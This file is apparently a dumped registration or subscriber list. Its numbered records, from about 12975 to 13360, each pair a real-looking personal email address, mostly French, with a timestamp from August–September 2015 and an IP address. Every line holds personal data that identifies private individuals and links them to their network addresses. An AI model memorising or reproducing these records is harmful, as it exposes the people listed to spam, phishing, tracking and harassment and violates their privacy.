+12975;johanne.ternon@gmail.com;2015-08-22 00:22:55;77.196.210.94 +12976;c.vincensini@wanadoo.fr;2015-08-22 04:33:59;92.150.126.149 +12977;christelle.demondion@sfr.fr;2015-08-22 07:51:36;77.145.125.128 +12978;mdpotoudis@bbox.fr;2015-08-22 09:21:03;176.150.215.43 +12979;f.ponchant@orange.fr;2015-08-22 10:05:54;62.34.59.234 +12980;sophie.biolchini@yahoo.fr;2015-08-22 10:35:11;89.89.8.96 +12981;isabel4812@gmail.com;2015-08-22 12:27:59;85.171.127.79 +12982;fruteau.marianne@neuf.fr;2015-08-22 13:42:34;109.9.121.31 +12983;bonnette222@wanadoo.fr;2015-08-22 14:59:55;86.202.248.95 +12984;mmenuge@wanadoo.fr;2015-08-22 15:45:08;92.131.178.20 +12985;cletant.d.p@gmail.com;2015-08-22 16:06:12;81.253.77.7 +12986;lesquatrec@free.fr;2015-08-22 16:22:57;78.234.115.3 +12987;theatrezvous@wanadoo.fr;2015-08-22 17:05:39;90.12.181.67 +12988;pauline-lansonneur@laposte.net;2015-08-22 17:28:53;217.128.211.29 +12989;aperrrin@auchan.fr;2015-08-22 18:00:11;81.52.233.1 +12990;itrannoy@yahoo.fr;2015-08-22 18:33:34;81.67.170.66 +12991;verobu39520@orange.fr;2015-08-22 21:12:52;90.6.26.8 +12992;marion.thierry0025@orange.fr;2015-08-22 21:43:20;86.204.196.110 +12993;sergeleroy0864@orange.fr;2015-08-22 22:41:13;86.220.85.22 +12994;aurelie_fagueret@yahoo.fr;2015-08-22 23:13:28;78.113.157.206 +12995;sand.guillet@hotmail.fr;2015-08-22 23:24:45;78.238.153.177 +12996;josiane.ladoga@wanadoo.fr;2015-08-23 04:14:32;90.36.32.155 +12997;cthuaurenaudet@orange.fr;2015-08-23 07:25:12;90.59.71.142 +12998;s.arnodorenson@gmail.com;2015-08-23 08:49:00;78.112.149.30 +12999;catherine.ducoin@orange.fr;2015-08-23 09:27:34;90.20.168.99 +13000;m.allibert@numericable.com;2015-08-23 09:50:52;81.67.185.108 +13001;idjie@wanadoo.fr;2015-08-23 10:26:29;86.196.42.193 +13002;dialga.p38@orange.fr;2015-08-23 10:37:55;90.52.48.254 +13003;celine3007@live.fr;2015-08-23 12:08:34;90.56.157.88 +13004;xaviermarjorie@gmail.com;2015-08-23 12:45:45;62.235.25.97 +13005;cf010721@gmail.com;2015-08-23 13:06:04;78.233.177.202 +13006;ckoustoff@gmail.com;2015-08-23 14:57:49;78.231.133.160 +13007;almorca@hotmail.fr;2015-08-23 15:08:42;92.145.221.143 +13008;marie.annen@bluewin.ch;2015-08-23 15:30:21;188.62.219.183 +13009;mireillepaulin@orange.fr;2015-08-23 15:43:13;86.210.117.94 +13010;sefys.celia@hotmail.fr;2015-08-23 15:54:06;193.49.47.242 +13011;flogranier0210@gmail.com;2015-08-23 16:26:07;92.158.17.182 +13012;ariiel@laposte.net;2015-08-23 16:26:43;88.136.62.245 +13013;noemimikado@gmail.com;2015-08-23 16:41:50;78.124.123.78 +13014;a-bertin@hotmail.com;2015-08-23 17:29:04;31.201.115.105 +13015;danielle.gay34@gmail.com;2015-08-23 17:35:58;92.133.140.10 +13016;nat_acha11@hotmail.com;2015-08-23 17:41:16;78.121.159.200 +13017;flomuriell@hotmail.fr;2015-08-23 17:45:36;5.49.109.85 +13018;macimal@orange.fr;2015-08-23 18:30:22;81.251.18.69 +13019;ispantz@aol.com;2015-08-23 19:40:36;89.157.200.3 +13020;cecile.crepin@sfr.fr;2015-08-23 19:56:58;84.6.90.175 +13021;jiajieli@msn.com;2015-08-23 21:06:00;173.58.116.183 +13022;chris.reynaud@yayoo.fr;2015-08-23 22:20:36;88.176.190.94 +13023;soso.13@live.fr;2015-08-24 00:37:24;78.206.191.200 +13024;sitelle.arnold@laposte.net;2015-08-24 06:08:41;82.236.17.190 +13025;subtil.al@gmail.com;2015-08-24 08:42:53;84.99.29.19 +13026;mado.linden@gmail.com;2015-08-24 08:55:27;109.217.82.97 +13027;paxpal02@yahoo.fr;2015-08-24 08:55:52;82.231.77.99 +13028;annie.plancoulaine@orange.fr;2015-08-24 10:50:30;83.192.166.94 +13029;sandy.gg@sfr.fr;2015-08-24 11:03:57;89.94.174.96 +13030;martineprocot@aol.com;2015-08-24 11:14:12;83.156.106.139 +13031;pascale.ryser@wanadoo.fr;2015-08-24 11:17:41;176.190.238.103 +13032;christian.duclouet@sfr.fr;2015-08-24 12:06:09;79.89.200.239 +13033;mary.langlais@wanadoo.fr;2015-08-24 13:27:17;80.14.101.189 +13034;cnicole49@aol.com;2015-08-24 13:44:42;79.95.223.124 +13035;artis.agnes@yahoo.fr;2015-08-24 14:26:11;89.191.220.210 +13036;dafonsecavir@hotmail.fr;2015-08-24 14:32:01;217.108.37.21 +13037;isalucy10@yahoo.fr;2015-08-24 15:52:53;78.229.0.61 +13038;jacquet.annie@numericable.fr;2015-08-24 15:54:53;85.168.19.250 +13039;ferrygadot.nathalie@gmail.com;2015-08-24 16:48:42;80.215.234.61 +13040;veroniqueroussel53@sfr.fr;2015-08-24 16:51:58;109.25.38.17 +13041;martine@sht76.com;2015-08-24 16:57:42;193.253.227.150 +13042;lulubenoit@orange.fr;2015-08-24 18:38:01;90.3.177.51 +13043;serge.tebou@wanadoo.fr;2015-08-24 19:30:08;90.60.147.18 +13044;regismucini@hotmail.fr;2015-08-24 20:03:51;90.20.248.191 +13045;petibou2@gmail.com;2015-08-24 20:35:18;78.225.144.18 +13046;nicolas.lucas487@orange.fr;2015-08-24 21:07:23;90.20.220.248 +13047;grace.delacourt@gmail.com;2015-08-24 21:22:38;88.167.165.18 +13048;sgc4@wanadoo.fr;2015-08-24 22:13:21;86.220.192.25 +13049;sandrashopping@free.fr;2015-08-24 22:25:43;78.195.200.81 +13050;amandinounette@hotmail.com;2015-08-25 00:22:48;77.224.38.196 +13051;patriciasculier@gmail.com;2015-08-25 00:25:20;81.240.192.229 +13052;mellemolly.h@hotmail.fr;2015-08-25 00:41:24;81.50.237.250 +13053;jeannemarie.adnet@gmail.com;2015-08-25 10:49:09;78.243.117.164 +13054;josyfontaine@hotmail.com;2015-08-25 10:58:12;193.253.113.34 +13055;matteodiangelo@gmail.com;2015-08-25 11:09:04;77.207.73.234 +13056;clementauxbrasforts@gmail.com;2015-08-25 11:30:46;91.176.126.217 +13057;philicor@numericable.fr;2015-08-25 11:36:47;83.200.193.31 +13058;jessicafournier@free.fr;2015-08-25 11:40:32;88.207.220.135 +13059;dislemaud@gmail.com;2015-08-25 11:44:03;93.23.10.215 +13060;laetitia.juppin@wanadoo.fr;2015-08-25 11:55:21;2.10.183.208 +13061;mridde@yahoo.fr;2015-08-25 13:30:00;80.15.88.123 +13062;mertens.christiane@hotmail.com;2015-08-25 14:43:26;91.182.150.36 +13063;KHAN.ELEONORE@GMAIL.COM;2015-08-25 17:00:21;83.157.226.201 +13064;stpfa-amenagement@orange.fr;2015-08-25 17:07:34;86.200.237.7 +13065;annie.54@orange.fr;2015-08-25 17:44:03;92.138.230.39 +13066;tourainedrais@hotmail.fr;2015-08-25 17:50:14;2.13.242.172 +13067;mc.bailly@hotmail.fr;2015-08-25 19:38:00;109.211.44.80 +13068;vanessa.gros@wanadoo.fr;2015-08-25 19:41:06;90.34.20.210 +13069;pascal.higueras@orange.fr;2015-08-25 21:22:44;90.41.98.242 +13070;juliedamiens@icloud.com;2015-08-25 21:59:40;84.102.153.199 +13071;pimpulilu@neuf.fr;2015-08-25 22:00:43;80.215.169.50 +13072;ludivine.montelimard@gmail.com;2015-08-25 22:20:32;90.29.159.148 +13073;tomatisa@libero.it;2015-08-25 23:06:13;82.237.2.13 +13074;jphbailly60@orange.fr;2015-08-26 07:34:59;83.192.215.47 +13075;barbe.jeanne@gmail.com;2015-08-26 09:31:51;164.177.32.65 +13076;regintonic@hotmail.fr;2015-08-26 09:45:25;84.103.177.123 +13077;freaudf@yahoo.fr;2015-08-26 11:19:09;109.215.204.85 +13078;jurac@wanadoo.fr;2015-08-26 13:17:24;90.43.152.23 +13079;alice-gonzalez@outlook.fr;2015-08-26 13:49:24;37.157.9.1 +13080;nathalie.landemard@numeicable.fr;2015-08-26 16:06:45;89.227.41.193 +13081;olivialemaire@gmail.com;2015-08-26 16:34:10;85.245.27.29 +13082;cotons76@gmail.com;2015-08-26 17:03:40;92.132.122.50 +13083;misssf@hotmail.fr;2015-08-26 17:04:28;81.51.84.133 +13084;sousou200817@hotmail.fr;2015-08-26 17:10:14;41.104.157.145 +13085;lambalot_bernadette@yahoo.fr;2015-08-26 17:12:55;83.196.123.253 +13086;chandragon49@yahoo.fr;2015-08-26 17:16:06;86.218.169.162 +13087;clocatry@hotmail.com;2015-08-26 19:19:43;81.250.158.149 +13088;carole.cappello@sfr.fr;2015-08-26 19:20:12;84.100.4.37 +13089;person.christiane@wanadoo.fr;2015-08-26 19:35:22;109.218.114.177 +13090;kleing.richard@orange.FR;2015-08-26 19:44:18;81.51.243.176 +13091;felixann@voila.fr;2015-08-26 19:46:00;78.235.72.40 +13092;gilletanastasia@gmail.com;2015-08-26 19:50:10;5.50.86.4 +13093;mhelene.cottet@wanadoo.fr;2015-08-26 20:39:49;90.46.186.85 +13094;s.battistella@free.fr;2015-08-26 20:44:27;78.213.149.217 +13095;jj.coudray@sfr.fr;2015-08-26 22:19:33;88.136.212.44 +13096;marie_alure69@msn.com;2015-08-26 22:30:46;176.187.120.236 +13097;emiziem@hotmail.com;2015-08-26 22:34:46;79.82.88.168 +13098;vettore.valentina@yahoo.it;2015-08-26 23:28:11;93.71.4.6 +13099;sylvie.blanc92@orange.fr;2015-08-27 01:00:04;66.249.93.165 +13100;karineguerault974@gmail.com;2015-08-27 02:22:45;80.8.97.111 +13101;anahi.ferragu@gmail.com;2015-08-27 09:11:23;209.222.0.99 +13102;nathlaz@hotmail.com;2015-08-27 09:37:45;193.252.198.143 +13103;brunella.fantozzi@gmail.com;2015-08-27 10:07:21;37.118.242.173 +13104;chichoune_95@hotmail.com;2015-08-27 10:52:07;82.127.24.140 +13105;lkinziger@brandonlinecommerce.com;2015-08-27 11:07:41;195.5.229.254 +13106;petit@nbksuisse.com;2015-08-27 11:12:16;194.209.50.2 +13107;emilie.debattice@hotmail.com;2015-08-27 12:21:28;217.136.77.245 +13108;i.cornille@hotmail.fr;2015-08-27 13:03:54;176.184.82.196 +13109;camgold@hotmail.fr;2015-08-27 13:29:59;82.121.156.33 +13110;francoise.moreels@minsoc.fed.be;2015-08-27 13:48:31;85.91.175.222 +13111;danielle.morand44@gmail.com;2015-08-27 14:12:20;90.12.254.173 +13112;visha_@hotmail.fr;2015-08-27 14:25:09;80.12.95.28 +13113;mariellagiacummo@gmail.com;2015-08-27 14:27:00;151.73.87.97 +13114;chantal.curto@free.fr;2015-08-27 14:29:01;78.194.97.108 +13115;sissision@gmail.com;2015-08-27 15:30:28;77.132.217.32 +13116;celine-alex@wanadoo.fr;2015-08-27 15:44:16;92.138.75.216 +13117;Minipins79@aol.com;2015-08-27 16:26:53;77.152.39.110 +13118;zoe.minault@laposte.net;2015-08-27 16:58:16;77.152.7.120 +13119;nordfleur@orange.fr;2015-08-27 17:05:33;92.155.27.30 +13120;benmohadtalya@gmail.com;2015-08-27 17:08:34;90.43.80.204 +13121;alextytgat@ymail.com;2015-08-27 17:53:53;78.149.113.15 +13122;pinat.jeannine@neuf.fr;2015-08-27 18:09:50;31.34.56.115 +13123;Muse1975@hotmail.fr;2015-08-27 18:23:58;92.90.20.174 +13124;lauryleguen@gmail.com;2015-08-27 18:45:35;88.174.71.58 +13125;v.galland@sofip-sa.fr;2015-08-27 20:03:35;89.251.51.18 +13126;pitatxk@orange.fr;2015-08-27 20:21:55;90.38.195.121 +13127;martineschoeters52@gmail.com;2015-08-27 20:25:25;84.196.185.54 +13128;jarrault.c@gmail.com;2015-08-27 21:00:56;109.211.208.65 +13129;mchris.herbin@gmail.com;2015-08-27 21:25:53;92.131.27.56 +13130;morelel@free.fr;2015-08-27 21:32:40;82.241.49.55 +13131;laureen-mathlouthi@sfr.fr;2015-08-27 21:59:51;86.198.122.183 +13132;fmarnet1@sfr.fr;2015-08-27 22:08:48;77.200.225.221 +13133;floriane.capellaro@orange.fr;2015-08-27 22:41:41;88.175.89.16 +13134;elena.bonani@alice.it;2015-08-27 23:06:23;213.26.48.158 +13135;mgbira@hotmail.it;2015-08-28 06:44:10;93.147.48.25 +13136;pruvotcoralie@hotmail.fr;2015-08-28 09:08:14;81.49.126.243 +13137;paulablonde@live.fr;2015-08-28 09:43:26;175.158.169.23 +13138;christellejeanne14@yahoo.fr;2015-08-28 10:59:32;92.90.26.58 +13139;emma805@hotmail.fr;2015-08-28 13:21:48;84.7.114.81 +13140;david.adrien.loffredo@gmail.com;2015-08-28 14:02:47;90.59.38.147 +13141;demichiel.gougeon@hotmail.fr;2015-08-28 14:10:10;82.216.255.250 +13142;lassene.amandine@gmail.com;2015-08-28 14:28:16;88.202.43.198 +13143;aurelie.thauvin@hotmail.fr;2015-08-28 14:58:47;90.55.118.28 +13144;stefchamaillard@yahoo.fr;2015-08-28 17:39:06;31.33.150.144 +13145;maudthiry@hotmail.fr;2015-08-28 17:39:51;85.95.220.220 +13146;anne_marie.adam@libertysurf.fr;2015-08-28 17:52:32;83.154.176.45 +13147;exframboise@hotmail.fr;2015-08-28 18:27:55;78.125.97.165 +13148;carole@chrono-web.com;2015-08-28 21:51:10;88.136.24.212 +13149;cel.galvez@gmail.com;2015-08-28 22:45:38;78.202.22.151 +13150;boitel.sandra@gmail.com;2015-08-28 22:51:27;89.2.97.52 +13151;uliana@hotmail.fr;2015-08-29 00:05:47;88.173.92.92 +13152;marie.andric@yahoo.fr;2015-08-29 00:44:01;88.189.208.116 +13153;sandracas@orange.fr;2015-08-29 01:26:13;86.206.73.80 +13154;josiecarceller@gmail.com;2015-08-29 08:16:05;92.134.120.157 +13155;isacreation@yahoo.fr;2015-08-29 10:03:52;85.69.235.179 +13156;valerie.herrera@live.fr;2015-08-29 10:33:40;83.153.173.116 +13157;kpcl.giroux@gmail.com;2015-08-29 10:37:41;83.200.36.253 +13158;chiara26ferrari@hotmail.it;2015-08-29 10:47:39;95.244.230.179 +13159;vhm2010@hotmail.fr;2015-08-29 11:10:08;87.240.243.157 +13160;ol.mercier@orange.fr;2015-08-29 13:41:48;90.49.105.10 +13161;angie.tetelin@live.fr;2015-08-29 14:54:23;90.16.249.8 +13162;julien.vandyck@neuf.fr;2015-08-29 17:08:23;79.80.147.235 +13163;martine.seguin13@gmail.com;2015-08-29 17:11:28;109.76.187.39 +13164;best-dev@wanadoo.fr;2015-08-29 17:22:26;92.145.62.147 +13165;s.moreaux@skynet.be;2015-08-29 17:22:27;95.182.165.115 +13166;regine.granet@orange.fr;2015-08-29 17:37:14;92.149.179.231 +13167;annie.stephane.guianvarch@orange.fr;2015-08-29 18:18:27;2.2.102.147 +13168;frmaggion@gmail.com;2015-08-29 18:53:22;92.158.9.29 +13169;pauline21800@hotmail.fr;2015-08-29 19:09:55;81.65.13.229 +13170;valeriegessner@hotmail.fr;2015-08-29 20:09:04;31.34.216.39 +13171;josiane509@gmail.com;2015-08-29 22:00:56;92.155.8.80 +13172;79flora@gmail.com;2015-08-29 22:21:56;92.146.177.193 +13173;marie.scournaux@gmail.com;2015-08-29 23:53:03;78.234.137.84 +13174;nila.first@gmail.com;2015-08-30 08:10:17;92.89.179.107 +13175;ttisserand@sfr.fr;2015-08-30 09:46:06;84.101.158.66 +13176;o.neottie@gmail.com;2015-08-30 09:53:07;88.188.253.156 +13177;thorel.nicole57@gmail.com;2015-08-30 09:54:11;37.32.57.195 +13178;Ditsch@yahoo.com;2015-08-30 10:23:34;46.246.39.233 +13179;ambreven@gmail.com;2015-08-30 10:42:22;176.149.106.140 +13180;rodetmarie@orange.fr;2015-08-30 10:58:20;92.163.19.171 +13181;anou.20@hotmail.fr;2015-08-30 12:21:22;90.43.185.120 +13182;chalvet.valerie@neuf.fr;2015-08-30 13:58:08;88.188.117.108 +13183;cmoccatti@yahoo.fr;2015-08-30 14:04:42;82.236.72.56 +13184;ellodiec@hotmail.com;2015-08-30 14:09:18;86.194.142.17 +13185;lauraforlano66@msn.com;2015-08-30 14:55:49;88.147.7.60 +13186;audrey.bouchon@hotmail.fr;2015-08-30 15:30:22;82.241.247.140 +13187;m.fany@free.fr;2015-08-30 15:44:58;82.67.116.125 +13188;MCPUB83@hotmail.com;2015-08-30 15:51:11;78.238.37.151 +13189;eyael1@hotmail.fr;2015-08-30 16:03:09;85.168.231.112 +13190;nadiagourio@orange.fr;2015-08-30 16:18:29;92.94.84.21 +13191;mariepierre.lely@free.fr;2015-08-30 17:07:46;88.120.204.49 +13192;ariane.beretti@orange.fr;2015-08-30 17:16:12;90.37.124.151 +13193;domiealonso63@gmail.com;2015-08-30 18:38:45;90.9.122.108 +13194;sylvie@delassus.name;2015-08-30 18:55:46;82.237.70.83 +13195;brindebeaute@bbox.fr;2015-08-30 20:11:47;92.149.217.155 +13196;whitehouse.desiree@gmail.com;2015-08-30 22:45:38;213.245.150.97 +13197;magali.caruso@aliceadsl.fr;2015-08-30 23:10:55;83.193.214.221 +13198;zap.aude@gmail.com;2015-08-30 23:59:01;109.17.194.154 +13199;q304561@163.com;2015-08-31 01:56:18;46.193.65.62 +13200;del.therin@hotmail.fr;2015-08-31 04:12:04;81.249.2.50 +13201;tiaou82@gmail.com;2015-08-31 08:30:05;175.158.169.240 +13202;philippe.cherruau@outlook.com;2015-08-31 09:31:45;89.81.164.19 +13203;serenacattarossi@libero.it;2015-08-31 09:48:19;94.84.139.100 +13204;morandceline@hotmail.fr;2015-08-31 10:33:46;91.68.158.248 +13205;marijo70@orange.fr;2015-08-31 10:50:33;2.14.152.108 +13206;delpheric@gmail.com;2015-08-31 11:44:24;193.57.110.31 +13207;bb1258@hotmail.com;2015-08-31 12:03:04;78.250.83.88 +13208;nat.com@hotmail.fr;2015-08-31 13:08:54;89.85.39.118 +13209;annaickdumont@yahoo.fr;2015-08-31 14:21:40;90.13.108.38 +13210;nathalie.bertrand1@orange.fr;2015-08-31 14:28:16;62.35.153.8 +13211;pascale.mayeur@wanadoo.fr;2015-08-31 14:43:49;83.204.147.79 +13212;verannick.w@gmail.com;2015-08-31 14:54:49;62.244.71.254 +13213;aurely.puy@laposte.net;2015-08-31 17:29:35;77.194.230.36 +13214;titunhette@gmail.com;2015-08-31 17:36:01;82.237.31.28 +13215;boya99@hotmail.fr;2015-08-31 17:45:01;109.17.152.143 +13216;annie.galmiche@laposte.net;2015-08-31 17:58:09;79.88.234.74 +13217;besson-magali@orange.fr;2015-08-31 18:04:08;46.18.228.193 +13218;fifi.cc@hotmail.fr;2015-08-31 19:22:53;80.12.51.217 +13219;elodie.trapeau@orange.fr;2015-08-31 20:14:15;90.9.100.60 +13220;homoisabelle@yahoo.fr;2015-08-31 20:53:08;92.152.223.19 +13221;stephanie.fahme@bluewin.ch;2015-08-31 21:00:46;188.60.142.135 +13222;susu_m@msn.com;2015-08-31 22:51:56;89.92.144.70 +13223;mpaolapenn@tiscali.it;2015-08-31 22:57:40;94.160.209.142 +13224;alice_005@msn.com;2015-08-31 23:08:58;90.96.194.25 +13225;geraldinetosi@yahoo.fr;2015-08-31 23:12:13;92.144.21.189 +13226;madao2507@yahoo.fr;2015-09-01 00:14:22;88.126.180.53 +13227;vd75@hotmail.fr;2015-09-01 00:22:40;84.100.216.23 +13228;clarisse_philippe@hotmail.fr;2015-09-01 07:57:30;217.108.170.8 +13229;marlene.simondi@free.fr;2015-09-01 08:00:21;92.103.236.242 +13230;bachet.family@wanadoo.fr;2015-09-01 08:59:10;82.122.149.120 +13231;catia.leboucher.cl@gmail.com;2015-09-01 10:50:14;85.170.110.175 +13232;michel.vandersleyen@gmail.fr;2015-09-01 11:23:20;92.90.20.173 +13233;mmamoune5@hotmail.fr;2015-09-01 11:36:59;195.5.233.210 +13234;lola84@orange.fr;2015-09-01 14:07:40;90.8.178.105 +13235;navarrete.nathalie@yahoo.fr;2015-09-01 14:07:56;109.106.84.208 +13236;celineto@sfr.fr;2015-09-01 15:02:25;86.63.231.55 +13237;ELODIEDELMON@YAHOO.FR;2015-09-01 15:08:46;90.102.192.9 +13238;lucille.collard@hotmail.com;2015-09-01 16:51:55;109.129.164.3 +13239;patricia.dubois@hotmail.com;2015-09-01 17:13:31;212.68.249.192 +13240;aneesah95130@hotmail.fr;2015-09-01 18:00:38;88.120.61.183 +13241;seralya@hotmail.fr;2015-09-01 18:52:18;82.227.20.118 +13242;francine.watteau@free.fr;2015-09-01 19:01:29;82.233.174.218 +13243;chantal.bruschi@sfr.fr;2015-09-01 19:37:34;79.81.123.227 +13244;picherie.family@bbox.fr;2015-09-01 20:44:06;31.37.186.72 +13245;22melie@live.fr;2015-09-01 21:09:53;88.136.34.173 +13246;cacochan83@gmail.com;2015-09-01 21:37:16;109.208.87.77 +13247;pticupidon@hotmail.com;2015-09-01 21:58:02;213.213.227.91 +13248;aur.jeanne@orange.fr;2015-09-01 22:02:10;80.12.35.173 +13249;aurel.chaverondier@gmail.com;2015-09-01 22:28:21;78.226.168.119 +13250;maelinehappyevents@gmail.com;2015-09-01 23:36:04;90.51.225.80 +13251;marionquelet@orange.fr;2015-09-01 23:45:50;82.124.19.144 +13252;hascoet.marielle@orange.fr;2015-09-02 00:22:15;90.40.145.152 +13253;laurence.di_camillo@bbox.fr;2015-09-02 04:40:10;176.149.208.15 +13254;cathcyg@hotmail.fr;2015-09-02 05:19:50;80.215.234.67 +13255;sangiul@alice.it;2015-09-02 09:33:55;89.2.122.200 +13256;corre.frederique@free.fr;2015-09-02 09:39:15;88.173.117.107 +13257;baroudsud@gmail.com;2015-09-02 10:33:13;88.167.25.93 +13258;iolandamazzoccolo@gmail.com;2015-09-02 12:40:36;151.77.250.79 +13259;soniagoupil@hotmail.fr;2015-09-02 13:18:53;95.141.119.245 +13260;helen.leveille@gmail.com;2015-09-02 13:35:25;163.157.254.25 +13261;vsergent@gmail.com;2015-09-02 13:54:50;78.228.66.189 +13262;elisapr@hotmail.fr;2015-09-02 14:04:55;109.6.171.205 +13263;christelleda@hotmail.com;2015-09-02 15:05:15;80.201.61.176 +13264;lacostemmmmmmmmc@gmail.com;2015-09-02 15:08:35;109.212.33.113 +13265;ctavelon@orange.fr;2015-09-02 15:26:51;193.253.212.193 +13266;sandra.negri@sfr.fr;2015-09-02 15:40:49;88.138.142.7 +13267;kittyouka@yahoo.fr;2015-09-02 16:37:08;78.192.37.27 +13268;brigittegiraud218@orange.fr;2015-09-02 16:38:57;109.220.177.8 +13269;aurelia.rouault@yahoo.fr;2015-09-02 17:33:41;217.169.129.173 +13270;mc.maldonado@orange.fr;2015-09-02 17:58:47;109.213.85.192 +13271;4ever41223@live.cn;2015-09-02 18:09:49;85.68.210.185 +13272;annick.n@skynet.be;2015-09-02 19:45:11;87.67.91.105 +13273;champsaurine@hotmail.com;2015-09-02 20:18:42;84.6.152.124 +13274;yolandelagneau@gmail.com;2015-09-02 21:17:59;90.37.224.197 +13275;do.poli@orange.fr;2015-09-02 21:42:54;90.26.46.227 +13276;renault37@wanadoo.fr;2015-09-02 22:49:16;92.152.82.47 +13277;valerie.rodier19@free.fr;2015-09-03 00:00:10;5.49.36.83 +13278;joanatduarte@gmail.com;2015-09-03 01:15:48;95.93.240.176 +13279;karine.hunot@gmail.com;2015-09-03 07:18:06;90.37.228.195 +13280;shahinah@free.fr;2015-09-03 07:25:49;81.66.69.99 +13281;astride.schermann@sfr.fr;2015-09-03 09:44:39;78.226.101.118 +13282;isabelle.ray@neuf.fr;2015-09-03 09:48:26;78.114.34.182 +13283;pellierann@gmail.com;2015-09-03 10:06:32;77.147.201.48 +13284;emmanuelle.autissier@laposte.net;2015-09-03 10:29:24;90.19.136.5 +13285;bambi.keotte@orange.fr;2015-09-03 11:29:32;90.34.226.64 +13286;laetitia.remy19@yahoo.com;2015-09-03 12:02:09;85.170.46.40 +13287;celiplant@yahoo.fr;2015-09-03 12:17:56;109.213.203.146 +13288;corinne-le-blanc@orange.fr;2015-09-03 12:30:06;109.211.99.171 +13289;manounoune@gmail.com;2015-09-03 13:31:04;185.23.40.123 +13290;eidossy@gmail.com;2015-09-03 14:11:29;46.193.163.32 +13291;saraniche13@gmail.com;2015-09-03 14:20:15;109.190.117.143 +13292;acambier@aol.com;2015-09-03 14:28:39;84.6.219.81 +13293;cate06@me.com;2015-09-03 14:46:48;86.205.240.7 +13294;francoise.mereu@orange.fr;2015-09-03 15:10:50;83.197.172.202 +13295;francois.mama@orange.fr;2015-09-03 15:27:06;83.115.193.152 +13296;comptabilite@garancia-beauty.com;2015-09-03 15:43:25;81.57.119.171 +13297;phdelagare@resopharma.fr;2015-09-03 15:50:07;217.128.227.185 +13298;bela13@wanadoo.fr;2015-09-03 15:56:16;90.8.165.160 +13299;kim.lauwers.lateste@gmail.com;2015-09-03 16:31:51;109.214.221.176 +13300;aurelie.grimaux@laposte.net;2015-09-03 16:57:27;83.158.208.204 +13301;celineoubry@hotmail.com;2015-09-03 17:00:09;109.30.21.33 +13302;annamirolo16@gmail.com;2015-09-03 17:37:04;87.0.27.112 +13303;melissacayrier@gmail.com;2015-09-03 18:20:38;90.26.143.105 +13304;kathleen.horner@laposte.net;2015-09-03 19:39:05;79.93.3.69 +13305;emilie.zadra@outlook.fr;2015-09-03 19:54:36;93.25.106.70 +13306;francesca_540@hotmail.com;2015-09-03 20:12:09;2.226.234.129 +13307;f_leflon@yahoo.com;2015-09-03 20:16:24;86.67.181.174 +13308;marylinearnaudbos@gmail.com;2015-09-03 20:50:25;109.212.204.47 +13309;sandrine-a.girard@laposte.net;2015-09-03 21:02:41;88.162.78.65 +13310;rosepuncho@free.fr;2015-09-03 21:17:46;88.166.215.195 +13311;charlene-retours@outlook.fr;2015-09-03 22:07:32;80.215.210.231 +13312;bouboute62@hotmail.fr;2015-09-04 08:31:36;84.102.169.160 +13313;isabelle.rizzon@orange.fr;2015-09-04 10:14:58;217.128.254.82 +13314;nlea@hotmail.fr;2015-09-04 10:16:23;62.39.144.38 +13315;navall@hotmail.fr;2015-09-04 10:16:36;82.238.31.70 +13316;jeanfrancois.remy@sfr.fr;2015-09-04 10:19:56;82.229.117.115 +13317;earldechet@gmail.com;2015-09-04 10:58:31;86.216.156.174 +13318;vivie.alexandre88@gmail.com;2015-09-04 11:34:19;77.193.22.182 +13319;laorarbt@gmail.com;2015-09-04 11:52:24;194.206.43.17 +13320;paty.sachet@orange.fr;2015-09-04 12:04:54;90.20.167.150 +13321;rod.boubou@gmail.com;2015-09-04 12:37:17;88.182.235.209 +13322;emmanuelle.vallee@ouest-france.fr;2015-09-04 13:03:53;93.17.72.231 +13323;shafiz85@hotmail.fr;2015-09-04 13:22:02;46.218.202.252 +13324;tatienne.scalbert@hotmail.fr;2015-09-04 13:51:38;46.218.116.246 +13325;veronique-lavigne@orange.fr;2015-09-04 14:07:39;90.45.77.245 +13326;tiberghien.mp@gmail.com;2015-09-04 14:19:21;88.181.249.51 +13327;maele.bonnaud@yahoo.fr;2015-09-04 14:45:25;88.184.55.66 +13328;nathalie.durand83@orange.fr;2015-09-04 16:34:50;83.113.206.53 +13329;claudia.meier@orange.fr;2015-09-04 17:43:52;92.150.233.143 +13330;annieraynal2@gmail.com;2015-09-04 18:04:05;82.235.189.155 +13331;valerielaurencebenoit@gmail.com;2015-09-04 18:25:50;90.62.202.54 +13332;alessandraparenti@live.it;2015-09-04 18:29:45;89.119.43.218 +13333;elodie.louvet@essec.edu;2015-09-04 18:35:48;82.243.62.245 +13334;sylviegontard@free.fr;2015-09-04 19:25:16;88.126.40.5 +13335;taohongxifr@hotmail.com;2015-09-04 19:40:56;46.193.140.130 +13336;joelle.bertinchamp@hotmail.fr;2015-09-04 20:05:26;78.230.41.98 +13337;odetta.63@hotmail.fr;2015-09-04 20:11:05;62.34.11.13 +13338;katell.nicot@gmail.com;2015-09-04 21:03:23;78.213.244.78 +13339;vanes.naccache@gmail.com;2015-09-04 22:42:49;89.93.208.77 +13340;ludovic.bouy62500@sfr.fr;2015-09-04 22:46:45;92.93.120.96 +13341;pinsard.anne@orange.fr;2015-09-04 22:54:49;90.63.40.109 +13342;anne25200@yahoo.fr;2015-09-04 23:10:43;92.146.223.137 +13343;nat.shoelle@bluewin.ch;2015-09-04 23:14:14;195.202.224.213 +13344;feifeic@126.com;2015-09-05 06:57:35;183.62.57.230 +13345;ylana_luna@yahoo.fr;2015-09-05 07:46:02;85.69.138.87 +13346;lsrousseau@sfr.fr;2015-09-05 09:21:23;128.78.69.119 +13347;verosempere@gmail.com;2015-09-05 10:44:05;78.224.30.21 +13348;Fpenoignon@aol.com;2015-09-05 10:44:57;92.95.255.7 +13349;lemaire.mathilde@hotmail.com;2015-09-05 11:11:20;86.70.108.151 +13350;christinestrasbourg@gmail.com;2015-09-05 11:11:57;78.212.65.141 +13351;shirley.martinelli@free.fr;2015-09-05 11:46:27;78.249.116.152 +13352;paola.corsetti@gmail.com;2015-09-05 13:30:22;91.253.199.13 +13353;dumaisramser@gmail.com;2015-09-05 13:35:15;176.188.127.119 +13354;mblouin@sfr.fr;2015-09-05 14:20:07;109.23.149.152 +13355;pascal.vassort@wanadoo.fr;2015-09-05 15:24:39;81.51.197.216 +13356;solange.laroque.delcher@orange.fr;2015-09-05 15:32:29;86.213.84.203 +13357;mfprovost@bbox.fr;2015-09-05 15:50:33;176.180.146.125 +13358;hardyfanny@orange.fr;2015-09-05 16:01:23;88.182.81.18 +13359;camvernet31@gmail.com;2015-09-05 16:26:38;77.147.159.6 +13360;ninimumu.gonzalez@gmail.com;2015-09-05 18:10:09;89.92.126.46 